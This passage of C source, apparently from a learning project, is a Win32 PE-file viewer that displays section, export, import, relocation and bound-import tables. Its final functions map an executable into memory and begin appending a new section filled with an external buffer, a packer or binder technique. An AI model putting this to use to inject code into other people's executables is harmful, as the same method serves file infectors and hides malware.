SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("Virtual Offset"); //列标题 lv.cx = 125; lv.iSubItem = 2; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("RAW Size"); //列标题 lv.cx = 100; lv.iSubItem = 3; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("Raw Offset"); //列标题 lv.cx = 100; lv.iSubItem = 4; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,4,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("Characters"); //列标题 lv.cx = 100; lv.iSubItem = 5; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,5,(DWORD)&lv); LV_ITEM vitem; //初始化 memset(&vitem,0,sizeof(LV_ITEM)); vitem.mask = LVIF_TEXT; char* start = get_file(); char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(int i=0;i<headers_file.NumberOfSections;i++){ sections.PointerToRawData = get_int_data(start_section,20); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); sections.VirtualSize = get_int_data(start_section,8); sections.Characteristics = get_int_data(start_section,36); vitem.pszText = start_section; vitem.iItem = i;//第一行 vitem.iSubItem = 0; //第二列 SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem); TCHAR info[0x20]; sprintf(info,"%08x",sections.VirtualSize); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 1; //第二列 ListView_SetItem(hListProcess, &vitem); sprintf(info,"%08x",sections.VirtualAddress); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 2; //第二列 ListView_SetItem(hListProcess, &vitem); sprintf(info,"%08x",sections.SizeOfRawData); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 3; //第二列 ListView_SetItem(hListProcess, &vitem); sprintf(info,"%08x",sections.PointerToRawData); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 4; //第二列 ListView_SetItem(hListProcess, &vitem); sprintf(info,"%08x",sections.Characteristics); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 5; //第二列 ListView_SetItem(hListProcess, &vitem); start_section = start_section+40; } } } return false; } BOOL CALLBACK DIRECTION1_DEAL( HWND hwndDlg, // handle to dialog box UINT uMsg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ) { switch(uMsg) { case WM_CLOSE: { EndDialog(hwndDlg,0); break; } case WM_INITDIALOG: { LV_COLUMN lv; HWND hListProcess; //初始化 memset(&lv,0,sizeof(LV_COLUMN)); //获取IDC_LIST_PROCESS句柄 hListProcess = GetDlgItem(hwndDlg,IDC_LIST122); //设置整行选中 SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT); //第一列 lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("序号"); //列标题 lv.cx = 60; lv.iSubItem = 0; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("RVA"); //列标题 lv.cx = 150; lv.iSubItem = 1; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("offset"); //列标题 lv.cx = 150; lv.iSubItem = 2; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("函数名"); //列标题 lv.cx = 150; lv.iSubItem = 3; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv); get_export_Info(); HWND hwnd = GetDlgItem(hwndDlg, IDC_EDIT1); TCHAR info[0x30]; sprintf(info,"%08x",export.Time); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT16); SetWindowText(hwnd, export.Name); hwnd = GetDlgItem(hwndDlg, IDC_EDIT5); sprintf(info,"%08x",export.NumberOfFunctions); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT7); sprintf(info,"%08x",export.NumberOfNames); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT2); sprintf(info,"%08x",export.AddressOfFunctions); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT4); sprintf(info,"%08x",export.AddressOfNames); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT6); sprintf(info,"%08x",export.AddressOfNameOrdinals); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT8); sprintf(info,"%08x",export.Base); SetWindowText(hwnd, info); LV_ITEM vitem; //初始化 memset(&vitem,0,sizeof(LV_ITEM)); vitem.mask = LVIF_TEXT; char* start = get_file(); for(int i=0;i<export.NumberOfFunctions;i++){ export.RVA = get_int_data(start+Rva_to_Foa(export.AddressOfFunctions,start),4*i); export.Name_fun = start + get_int_data(start+Rva_to_Foa(export.AddressOfNames,start),4*i); export.ordinal = get_short_data(start+Rva_to_Foa(export.AddressOfNameOrdinals,start),2*i); sprintf(info,"%04x",export.ordinal+export.Base); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 0; //第二列 SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem); sprintf(info,"%08x",export.RVA); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 1; //第二列 ListView_SetItem(hListProcess, &vitem); sprintf(info,"%08x",export.RVA); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 2; //第二列 ListView_SetItem(hListProcess, &vitem); vitem.pszText = export.Name_fun; vitem.iItem = i;//第一行 vitem.iSubItem = 3; //第二列 ListView_SetItem(hListProcess, &vitem); } free(start); } case WM_COMMAND: { switch(LOWORD(wParam)) { case IDC_BUTTON1: { EndDialog(hwndDlg,0); break; } } } } return false; } BOOL CALLBACK DIRECTION2_DEAL( HWND hwndDlg, // handle to dialog box UINT uMsg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ) { switch(uMsg) { case WM_CLOSE: { EndDialog(hwndDlg,0); break; } case WM_INITDIALOG: { LV_COLUMN lv; HWND hListProcess; //初始化 memset(&lv,0,sizeof(LV_COLUMN)); //获取IDC_LIST_PROCESS句柄 hListProcess = GetDlgItem(hwndDlg,IDC_LIST111); //设置整行选中 SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT); //第一列 lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("DLL NAME"); //列标题 lv.cx = 150; lv.iSubItem = 0; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("original thunk"); //列标题 lv.cx = 150; lv.iSubItem = 1; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("Timestamp"); //列标题 lv.cx = 150; lv.iSubItem = 2; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("first thunk"); //列标题 lv.cx = 150; lv.iSubItem = 3; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv); LV_ITEM vitem; //初始化 memset(&vitem,0,sizeof(LV_ITEM)); vitem.mask = LVIF_TEXT; char* start = get_file(); int virtualAddress = get_int_data(start,headers_file.e_lfanew+128); int fileAddress = Rva_to_Foa(virtualAddress,start); char* export_start; export_start = start+fileAddress; int i =0; TCHAR info[0x30]; while(1){ int original_thunk = get_int_data(export_start,0); int file_orginal_thunk = Rva_to_Foa(original_thunk,start); int Name = get_int_data(export_start,12); int Name_file = Rva_to_Foa(Name,start); int first_thunk = get_int_data(export_start,16); int file_first_thunk = Rva_to_Foa(first_thunk,start); int Timestamp = get_int_data(export_start,4); if(original_thunk==0&&Name==0&&first_thunk==0){ break; } vitem.pszText = start+Name_file; vitem.iItem = i;//第一行 vitem.iSubItem = 0; //第二列 SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem); sprintf(info,"%08x",original_thunk); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 1; //第二列 ListView_SetItem(hListProcess, &vitem); sprintf(info,"%08x",Timestamp); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 2; //第二列 ListView_SetItem(hListProcess, &vitem); sprintf(info,"%08x",first_thunk); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 3; //第二列 ListView_SetItem(hListProcess, &vitem); export_start = export_start+20; i++; } free(start); //初始化 memset(&lv,0,sizeof(LV_COLUMN)); //获取IDC_LIST_PROCESS句柄 hListProcess = GetDlgItem(hwndDlg,IDC_LIST112); //设置整行选中 SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT); //第一列 lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("API NAME"); //列标题 lv.cx = 150; lv.iSubItem = 0; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("Thunk RVA"); //列标题 lv.cx = 120; lv.iSubItem = 1; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("Thunk Offset"); //列标题 lv.cx = 120; lv.iSubItem = 2; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("Hint"); //列标题 lv.cx = 120; lv.iSubItem = 3; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv); } case WM_NOTIFY: { NMHDR* pNMHDR = (NMHDR*)lParam; if(wParam == IDC_LIST111 && pNMHDR->code == NM_CLICK) { EnumModules_import(GetDlgItem(hwndDlg,IDC_LIST111),wParam,lParam,GetDlgItem(hwndDlg,IDC_LIST112)); } } case WM_COMMAND: { switch(LOWORD(wParam)) { case IDC_BUTTON1: { EndDialog(hwndDlg,0); break; } } } } return false; } BOOL CALLBACK DIRECTION3_DEAL( HWND hwndDlg, // handle to dialog box UINT uMsg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ) { switch(uMsg) { case WM_CLOSE: { EndDialog(hwndDlg,0); break; } case WM_INITDIALOG: { } } return false; } BOOL CALLBACK DIRECTION4_DEAL( HWND hwndDlg, // handle to dialog box UINT uMsg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ) { switch(uMsg) { case WM_CLOSE: { EndDialog(hwndDlg,0); break; } case WM_INITDIALOG: { LV_COLUMN lv; HWND hListProcess; //初始化 memset(&lv,0,sizeof(LV_COLUMN)); //获取IDC_LIST_PROCESS句柄 hListProcess = GetDlgItem(hwndDlg,IDC_LIST141); //设置整行选中 SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT); //第一列 lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("INDEX"); //列标题 lv.cx = 150; lv.iSubItem = 0; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("Offset"); //列标题 lv.cx = 150; lv.iSubItem = 1; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("RVA"); //列标题 lv.cx = 150; lv.iSubItem = 2; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("Size of Block"); //列标题 lv.cx = 150; lv.iSubItem = 3; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv); LV_ITEM vitem; //初始化 memset(&vitem,0,sizeof(LV_ITEM)); vitem.mask = LVIF_TEXT; char* start = get_file(); int virtualAddress = get_int_data(start,headers_file.e_lfanew+120+8*5); int fileAddress = Rva_to_Foa(virtualAddress,start); char* relocation_start; //printf("%x",fileAddress); relocation_start = start+fileAddress; //int RVA = get_int_data(relocation_start,0); int i = 0; TCHAR info[0x20]; while(1){ int RVA = get_int_data(relocation_start,0); int offset = Rva_to_Foa(RVA,start); int Size_of_Block = get_int_data(relocation_start,4); if(RVA==0&&Size_of_Block==0){ break; } //printf("RVA: %x\tSize_of_Block: %x\n",RVA,Size_of_Block); sprintf(info,"%d",i+1); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 0; //第二列 SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem); sprintf(info,"%08x",RVA); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 1; //第二列 ListView_SetItem(hListProcess, &vitem); sprintf(info,"%08x",offset); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 2; //第二列 ListView_SetItem(hListProcess, &vitem); sprintf(info,"%08x",Size_of_Block); vitem.pszText = info; vitem.iItem = i;//第一行 vitem.iSubItem = 3 ; //第二列 ListView_SetItem(hListProcess, &vitem); i++; relocation_start = relocation_start + Size_of_Block; } free(start); //*******************************************************************************************************// hListProcess = GetDlgItem(hwndDlg,IDC_LIST142); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("INDEX"); //列标题 lv.cx = 150; lv.iSubItem = 0; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("RVA"); //列标题 lv.cx = 150; lv.iSubItem = 1; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("Offset"); //列标题 lv.cx = 150; lv.iSubItem = 2; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,2,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("TYPE"); //列标题 lv.cx = 150; lv.iSubItem = 3; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,3,(DWORD)&lv); } case WM_NOTIFY: { NMHDR* pNMHDR = (NMHDR*)lParam; if(wParam == IDC_LIST141 && pNMHDR->code == NM_CLICK) { EnumModules_re(GetDlgItem(hwndDlg,IDC_LIST141),wParam,lParam,GetDlgItem(hwndDlg,IDC_LIST142)); } } case WM_COMMAND: { switch(LOWORD(wParam)) { case IDC_BUTTON1: { EndDialog(hwndDlg,0); break; } } } } return false; } BOOL CALLBACK DIRECTION5_DEAL( HWND hwndDlg, // handle to dialog box UINT uMsg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ) { switch(uMsg) { case WM_CLOSE: { EndDialog(hwndDlg,0); break; } case WM_INITDIALOG: { LV_COLUMN lv; HWND hListProcess; //初始化 memset(&lv,0,sizeof(LV_COLUMN)); //获取IDC_LIST_PROCESS句柄 hListProcess = GetDlgItem(hwndDlg,IDC_LIST151); //设置整行选中 SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT); //第一列 lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("DLL NAME"); //列标题 lv.cx = 200; lv.iSubItem = 0; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("TimeStamp"); //列标题 lv.cx = 200; lv.iSubItem = 1; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv); LV_ITEM vitem; //初始化 memset(&vitem,0,sizeof(LV_ITEM)); vitem.mask = LVIF_TEXT; char* start = get_file(); int virtualAddress = get_int_data(start,headers_file.e_lfanew+120+8*11); int fileAddress = Rva_to_Foa(virtualAddress,start); //printf("%x",fileAddress); char* export_start; //printf("%x",fileAddress); export_start = start+fileAddress; int j=0; TCHAR info[0x20]; while(1){ int timestamp = get_int_data(export_start,0); short name_offset = get_short_data(export_start,4); short num = get_short_data(export_start,6); if(timestamp==0&&name_offset==0&&num==0){break;} vitem.pszText = start+fileAddress+name_offset; vitem.iItem = j;//第一行 vitem.iSubItem = 0; //第二列 SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem); sprintf(info,"%08x",timestamp); vitem.pszText = info; vitem.iItem = j;//第一行 vitem.iSubItem = 1; //第二列 ListView_SetItem(hListProcess, &vitem); int i; for(i=0;i<num;i++){ timestamp = get_int_data(export_start,8*i); name_offset = get_short_data(export_start,4+8*i); } export_start = export_start+8+8*num; j++; } } case WM_COMMAND: { switch(LOWORD(wParam)) { case IDC_BUTTON1: { EndDialog(hwndDlg,0); break; } } } } return false; } BOOL CALLBACK DIRECTION6_DEAL( HWND hwndDlg, // handle to dialog box UINT uMsg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ) { switch(uMsg) { case WM_CLOSE: { EndDialog(hwndDlg,0); break; } case WM_INITDIALOG: { } } return false; } BOOL CALLBACK DIRECTION_DEAL( HWND hwndDlg, // handle to dialog box UINT uMsg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ) { switch(uMsg) { case WM_CLOSE: { EndDialog(hwndDlg,0); break; } case WM_INITDIALOG: { getInfo_dir(); HWND hwnd = GetDlgItem(hwndDlg, IDC_EDIT111); TCHAR info[0x20]; sprintf(info,"%08x",DN.d1.address); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT112); sprintf(info,"%08x",DN.d1.size); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT113); sprintf(info,"%08x",DN.d2.address); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT114); sprintf(info,"%08x",DN.d2.size);//数据 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT115); sprintf(info,"%08x",DN.d3.address);//代码 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT116); sprintf(info,"%08x",DN.d3.size); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT117); sprintf(info,"%08x",DN.d4.address); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT118); sprintf(info,"%08x",DN.d4.size);//标志字 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT119); sprintf(info,"%08x",DN.d5.address);//子系统 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT120); sprintf(info,"%08x",DN.d5.size); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT121); sprintf(info,"%08x",DN.d6.address);//时间戳 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT122); sprintf(info,"%08x",DN.d6.size); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT123); sprintf(info,"%08x",DN.d7.address);//特征直 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT124); sprintf(info,"%08x",DN.d7.size);//校验和 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT125); sprintf(info,"%08x",DN.d8.address); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT126); sprintf(info,"%08x",DN.d8.size); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT127); sprintf(info,"%08x",DN.d9.address); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT128); sprintf(info,"%08x",DN.d9.size); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT129); sprintf(info,"%08x",DN.d10.address); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT130); sprintf(info,"%08x",DN.d10.size); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT131); sprintf(info,"%08x",DN.d11.address); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT132); sprintf(info,"%08x",DN.d11.size); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT133); sprintf(info,"%08x",DN.d12.address); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT134); sprintf(info,"%08x",DN.d12.size); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT135); sprintf(info,"%08x",DN.d13.address); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT136); sprintf(info,"%08x",DN.d13.size); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT137); sprintf(info,"%08x",DN.d14.address); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT138); sprintf(info,"%08x",DN.d14.size); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT139); sprintf(info,"%08x",DN.d15.address); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT140); sprintf(info,"%08x",DN.d15.size); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT141); sprintf(info,"%08x",DN.d16.address); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT142); sprintf(info,"%08x",DN.d16.size); SetWindowText(hwnd, info); } case WM_COMMAND: { switch(LOWORD(wParam)) { case IDC_BUTTON11: { EndDialog(hwndDlg,0); break; } case IDC_BUTTON111: { if(DN.d1.size!=0) DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG112),NULL,DIRECTION1_DEAL); break; } case IDC_BUTTON112: { if(DN.d2.size!=0) DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG111),NULL,DIRECTION2_DEAL); break; } case IDC_BUTTON113: { if(DN.d3.size!=0) DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG113),NULL,DIRECTION3_DEAL); break; } case IDC_BUTTON114: { if(DN.d6.size!=0) DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG114),NULL,DIRECTION4_DEAL); break; } case IDC_BUTTON115: { if(DN.d12.size!=0) DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG115),NULL,DIRECTION5_DEAL); break; } } } } return false; } BOOL CALLBACK PE_DEAL( HWND hwndDlg, // handle to dialog box UINT uMsg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ) { switch(uMsg) { case WM_CLOSE: { EndDialog(hwndDlg,0); break; } case WM_INITDIALOG: { getInfo(); HWND hwnd = GetDlgItem(hwndDlg, IDC_EDIT1); TCHAR info[0x20]; sprintf(info,"%08x",headers_file.e_lfanew); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT2); sprintf(info,"%08x",headers_file.ImageBase); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT3); sprintf(info,"%08x",headers_file.SizeOfImage); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT4); sprintf(info,"%08x",headers_file.BaseOfData);//数据 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT5); sprintf(info,"%08x",headers_file.BaseOfCode);//代码 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT6); sprintf(info,"%08x",headers_file.SectionAlignment); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT7); sprintf(info,"%08x",headers_file.FileAlignment); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT8); sprintf(info,"%04x",headers_file.Characteristics);//标志字 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT9); sprintf(info,"%08x",headers_file.EntryPoint); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT10); sprintf(info,"%04x",headers_file.NumberOfSections); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT11); sprintf(info,"%08x",headers_file.TimeDateStamp);//时间戳 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT12); sprintf(info,"%08x",headers_file.SizeOfHeaders); SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT13); sprintf(info,"%08x",headers_file.NumberOfRvaAndSizes);//特征直 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT14); sprintf(info,"%08x",headers_file.CheckSum);//校验和 SetWindowText(hwnd, info); hwnd = GetDlgItem(hwndDlg, IDC_EDIT15); sprintf(info,"%04x",headers_file.SizeOfOptionalHeader); SetWindowText(hwnd, info); } case WM_COMMAND: { switch(LOWORD(wParam)) { case IDC_BUTTONA1: { EndDialog(hwndDlg,0); break; } case IDC_BUTTONA2: { DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG_WIN12),NULL,SECTION_DEAL); break; } case IDC_BUTTONA3: { DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG_WIN11),NULL,DIRECTION_DEAL); break; } } } } return false; } void getInfo_2(char* start){ headers_file.e_lfanew = get_int_data(start,60); start = start+headers_file.e_lfanew; headers_file.NumberOfSections = get_short_data(start,6); headers_file.SizeOfOptionalHeader = get_short_data(start,20); start = start+24; headers_file.EntryPoint = get_int_data(start,16); headers_file.ImageBase = get_int_data(start,28); headers_file.SectionAlignment = get_int_data(start,32); headers_file.SizeOfImage = get_int_data(start,56); headers_file.FileAlignment = get_int_data(start,36); headers_file.SizeOfHeaders = get_int_data(start,60); } char* memcopy_image_2(char* start_file){ char* start_image; start_image = (char*)malloc(headers_file.SizeOfImage); memset(start_image,0,headers_file.SizeOfImage); memcpy(start_image,start_file,headers_file.SizeOfHeaders); int i; char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(i=0;i<headers_file.NumberOfSections;i++){ sections.PointerToRawData = get_int_data(start_section,20); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); sections.VirtualSize = get_int_data(start_section,8); memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData); start_section = start_section+40; } return start_image; } void addcode(char* start_image){ int point = (int)start_image; memcpy(start_image+sections.VirtualAddress,p2,flen); } char* add_section_2(char* start_image){ char* start_new_image; if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){ //printf("space is not statific"); } else{ //printf("space is statific"); start_new_image = (char*)malloc(headers_file.SizeOfImage+(flen/0x1000+1)*0x1000); memset(start_new_image,0,headers_file.SizeOfImage+(flen/0x1000+1)*0x1000); memcpy(start_new_image,start_image,headers_file.SizeOfImage); *(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1; 